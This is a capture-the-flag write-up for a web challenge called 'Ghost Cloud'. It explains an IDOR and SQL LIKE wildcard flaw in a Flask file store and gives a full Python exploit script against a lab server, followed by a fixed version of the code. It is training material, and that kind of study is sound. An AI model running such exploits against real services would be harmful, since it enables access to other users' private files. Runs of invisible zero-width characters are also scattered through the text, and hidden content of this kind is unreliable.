← Back to Writeups
CUSTOMMediumWeb

Ghost Cloud

XESXOR9/10/20263 min read
#web#custom#medium#access-control-bypass-through-#idor-via-predictable-user-dire#sha256-hash-prediction-for-adm#sql-like-pattern-matching-expl

Ghost Cloud

Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-01-04 | Status: Solved Techniques: Access control bypass through partial filename matching, IDOR via predictable user directory hash, SHA256 hash prediction for admin directory, SQL LIKE pattern matching exploitation

Summary

Task: File storage service with user directories named by SHA256 hash. Solution: Exploited IDOR and SQL LIKE pattern matching to access admin flag file by predicting directory path and using partial filename match.

Ghost Cloud — hackerlab

Description

Цифровые тени скользят по серым стенам этого необычного хранилища данных. Полупрозрачные стражи лениво кружат между файлами, охраняя чужие секреты. Но так ли надежно спрятано то, что кажется невидимым для обычных глаз? В конце концов, даже у призраков есть свои уязвимые места.

URL: http://62.173.140.174:16066 Server: Flask (Werkzeug/2.0.1 Python/3.9.18)

Analysis

1. Application Study

The application is a file storage service with user registration. Each user has their own directory for files. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

2. Directory Structure

From source code analysis (app.py):

  • User directories are named as SHA256 hash of username
  • Admin directory: SHA256("admin") = 8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918

3. Vulnerable Code

In endpoint /download/<path:filepath> (lines 217-222):

python
c.execute("""
    SELECT f.stored_filename 
    FROM files f 
    JOIN users u ON f.user_id = u.id 
    WHERE u.username = ? AND f.stored_filename LIKE ?
""", (target_user, f"%{filename}%"))

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Issues:

  1. SQL LIKE with wildcards: The query uses %filename%, allowing partial filename matching
  2. IDOR: The endpoint doesn't verify if the requested file belongs to the current user
  3. Predictable paths: User directories are computed as SHA256(username)

4. Admin Flag

When the admin user is created, the flag is saved to a file flag_{random_suffix}.txt. Thanks to the LIKE query, this file can be found using the pattern flag.

Solution

Step 1: Registration and Authentication

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

python
import requests
import hashlib

BASE_URL = "http://62.173.140.174:16066"
s = requests.Session()

# Register a new user
s.post(f"{BASE_URL}/register", data={
    "username": "attacker", 
    "password": "pass123"
})

# Login
s.post(f"{BASE_URL}/login", data={
    "username": "attacker", 
    "password": "pass123"
})

Step 2: Calculate Admin Directory

python
# SHA256 hash of "admin"
admin_dir = hashlib.sha256("admin".encode()).hexdigest()
print(f"Admin directory: {admin_dir}")
# 8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 3: Exploiting IDOR + LIKE

python
# Request file with pattern "flag" from admin directory
r = s.get(f"{BASE_URL}/download/{admin_dir}/flag")
print(r.text)

The SQL query will execute as:

sql
SELECT f.stored_filename 
FROM files f 
JOIN users u ON f.user_id = u.id 
WHERE u.username = 'admin' AND f.stored_filename LIKE '%flag%'

This will find the file flag_{random_suffix}.txt and return its contents.

Full Exploit

python
#!/usr/bin/env python3
import requests
import hashlib
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

BASE_URL = "http://62.173.140.174:16066"
s = requests.Session()

# Register and login
s.post(f"{BASE_URL}/register", data={"username": "attacker", "password": "pass123"})
s.post(f"{BASE_URL}/login", data={"username": "attacker", "password": "pass123"})

# Calculate admin directory hash
admin_dir = hashlib.sha256("admin".encode()).hexdigest()

# Exploit LIKE vulnerability to get admin's flag file
r = s.get(f"{BASE_URL}/download/{admin_dir}/flag")
print(r.text)  # CODEBY{REDACTED}

Vulnerabilities

1. IDOR (Insecure Direct Object Reference)

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

/download/{user_dir}/{filename}

The endpoint allows specifying any user's directory without checking access rights.

2. SQL LIKE Pattern Matching

sql
WHERE f.stored_filename LIKE '%{filename}%'

The % wildcards allow finding a file by partial name, even without knowing the full name with random suffix.

3. Predictable Paths

python
user_dir = hashlib.sha256(username.encode()).hexdigest()

Knowing the username (e.g., "admin"), one can compute the path to their directory.

Proper Implementation

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

python
# Secure version
@app.route('/download/<path:filepath>')
def download(filepath):
    current_user = get_current_user()
    
    # 1. Verify directory ownership
    user_dir = filepath.split('/')[0]
    expected_dir = hashlib.sha256(current_user.encode()).hexdigest()
    if user_dir != expected_dir:
        abort(403, "Access denied")
    
    # 2. Exact filename match (no LIKE)
    c.execute("""
        SELECT f.stored_filename 
        FROM files f 
        JOIN users u ON f.user_id = u.id 
        WHERE u.username = ? AND f.stored_filename = ?
    """, (current_user, filename))

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Conclusions

  1. IDOR: Always verify resource access rights on the server side
  2. SQL LIKE: Avoid wildcards with user input, use exact matching
  3. Predictable paths: Use random identifiers instead of hashes of known data
  4. Defense in depth: A combination of several weaknesses creates a critical vulnerability ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍